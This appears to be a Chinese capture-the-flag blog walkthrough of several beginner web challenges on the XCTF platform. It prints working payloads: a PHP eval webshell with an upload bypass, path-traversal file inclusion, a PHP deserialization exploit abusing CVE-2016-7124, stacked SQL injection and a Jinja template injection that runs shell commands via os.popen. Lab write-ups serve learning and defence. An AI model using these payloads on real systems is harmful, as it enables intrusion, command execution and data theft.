目录
十一、Web_python_template_injection
推荐
【攻防世界WEB】难度二星6分入门题(上):webshell、command_execution、xff_referer、php_rce、Web_php_include、NewsCenter
https://blog.csdn.net/qq_53079406/article/details/125905265?spm=1001.2014.3001.5501【攻防世界WEB】难度一星3分入门题:get、post、robots、、cookie、button、weak、php、web、unserialize
https://blog.csdn.net/qq_53079406/article/details/125892455?spm=1001.2014.3001.5501
七、upload1
解题方法:
1、上传一句话木马
过程
准备一句话木马
<?php @eval($_REQUEST['1']); echo "成功了"; ?>
上传图片一句话木马
将其后缀改为jpg或者png
![]()
bp抓包,又改回了php
![]()
返回了图片位置
在URL中加上图片地址,返回出,我们输出的字符了
http://61.147.171.105:63781/upload/1658413812.shell.php
使用蚁剑(冰蝎、菜刀)连接
在目录中找到了flag
八、warmup
解题方法:
1、文件包含,php代码解析
过程
Ctrl+U查看源码
发现了一个页面
发现一个新页面
现在知道了flag文件夹
发现满足3个条件,可以包含我们构造的文件file
1、file变量非空
2、file变量为字符串
3、通过自定义函数checkFile()的检查
自定义函数checkFile()
满足4个if中其中一个即可返回true
能返回true的条件:
1、为字符串
2、存在于数组中
3、截取参数中首次出现?之前的部分,该部分在$whitelist数组中
4、先进行 url 解码,再截取参数中首次出现?之前的部分,该部分在$whitelist中
payload
利用第三个 if
payload1:
source.php?file=source.php?/../../../../ffffllllaaaagggg
payload2:
source.php?file=hint.php%253f../../../../../../ffffllllaaaagggg
(第一个?用来传参,第二个?用来截断前面的,source.php是在$whitelist中的)
(../的个数是指一直找的层数,多几层不要紧)
(第二个?,二次URL编码为%253f,服务器解码一次,checkFile函数解码一次)
payload1:
payload2:
九、Web_php_unserialize
解题方法:
1、php代码解析,序列化与反序列化
过程
flag在flag.php文件中
<?php class Demo { private $file = 'index.php'; //类的私有变量 public function __construct($file) { //实例化对象,__construct() 函数,当类新建对象的时候会执行 $this->file = $file; //将对象的file属性的值设置为file变量 } function __destruct() { //__destruct() 函数,当对象被销毁时将会被调用 echo @highlight_file($this->file, true); //输出读取到的文件 //highlight_file() 函数,输出指定PHP文件代码 } function __wakeup() { //__wakeup() 函数,在unserialize()反序列化操作前会被调用 if ($this->file != 'index.php') { //the secret is in the fl4g.php //将对象的file参数设置为index.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { //get方法传参 $var = base64_decode($_GET['var']); //对获取到的参数var的值进行base64解码 if (preg_match('/[oc]:\d+:/i', $var)) { //preg_match() 函数一个正则表达,匹配上了就返回true, \d匹配任意的数字 /i表示匹配时不区分大小写 /[oc]匹配oc字符 die('stop hacking!'); } else { @unserialize($var); //unserialize() 函数用来反序列化字符串 } } else { highlight_file("index.php"); //highlight_file() 函数,输出指定PHP文件代码 } ?>
1、绕过base64_decode函数:对构造的语句进行base64编码
2、绕过preg_match函数:加个加号“+”,在反序列化串O(object)开头,
3、绕过wakeup函数:利用__wakeup()的CVE-2016-7124,在序列化的字符串当中当真实的属性个数大于真实的属性个数时,该函数不会执行
构造
<?php class Demo { //定义Demo类 private $file = 'fl4g.php'; //类的私有变量file为fl4g.php } $a = serialize(new Demo);//对其进行序列化操作 $a = str_replace('O:4', 'O:+4',$a); //用+4替换4,绕过preg_match()函数的正则过滤 $a = str_replace(':1:', ':2:',$a); //用2替换1,绕过__wakeup()函数,利用__wakeup()的CVE-2016-7124 在序列化的字符串当中当真实的属性个数大于真实的属性个数时 该函数不会执行 echo base64_encode($a); //进行base64编码,绕过解码函数 ?>
使用php在线运行
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
构造
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
十、supersqli
解题方法:
1、SQL注入(堆叠注入,预编译)
过程
加上单引号有报错,说明存在注入点
使用#注释,没有报错,说明为单引号闭合
判断字段数
1'order by 2#
回显正常
1'order by 3#
报错,说明字段数为2
爆库
1'union select 1,database()#
看见存在正则匹配
看来可以使用堆叠注入中的show来查看
1'; show databases; #
查询数据库
查询表
1';use supersqli;show tables;#
查字段
1';use supersqli;show columns from `1919810931114514`;#
纯数字字符串是表名的时候,需要加反引号`
爆数据
因为select被过滤,不能直接查询
考虑使用预编译
1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
或者
1'; Set @sql = CONCAT('sele','ct flag from `1919810931114514`;'); prepare stmt from @sql; EXECUTE stmt;#
十一、Web_python_template_injection
解题方法:
1、python模板漏洞注入
过程
表明存在漏洞
查看全局变量config
可以发现未被禁用
思路1:直接查看服务器的本地文件
思路2:通过python的对象的继承一步步实现文件读取和命令执行,找到父类<type ‘object’--寻找子类---找关于命令执行或者文件操作的模块
/{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
1、__ class__:查看变量所属的类 2、__ init __:初始化类,返回function 3、__ globals __: 获取function所处空间下可使用的module、方法以及所有变量 4、os.popen() 从一个命令打开一个管道 5、popen():函数内的命令为要执行命令
读取fl4g的信息
/{{ config.__class__.__init__.__globals__['os'].popen('cat fl4g').read() }}
十二、web2
解题方法:
1、逆向加密算法,解密获得flag
过程
函数:
1、strrev() 函数:反转字符串
2、substr函数:返回字符串的一部分,substr(string,start,length)
3、ord() 函数:返回字符串的首个字符的 ASCII 值
4、chr() 函数:从指定的 ASCII 值返回字符,chr(ascii)
5、str_rot13() 函数:对字符串执行 ROT13 编码。ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变,str_rot13(string)
解码
就是将加密的顺序反过来
<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; $miwen=base64_decode(strrev(str_rot13($miwen))); $m=$miwen; for($i=0;$i<strlen($m);$i++){ $_c=substr($m,$i,1); $__=ord($_c)-1; # 字符转数字再减1 $__=chr($__); # 数字转字符 $_=$_.$__; # 拼接字符串 } echo strrev($_); # 反转字符串 ?>
php在线运行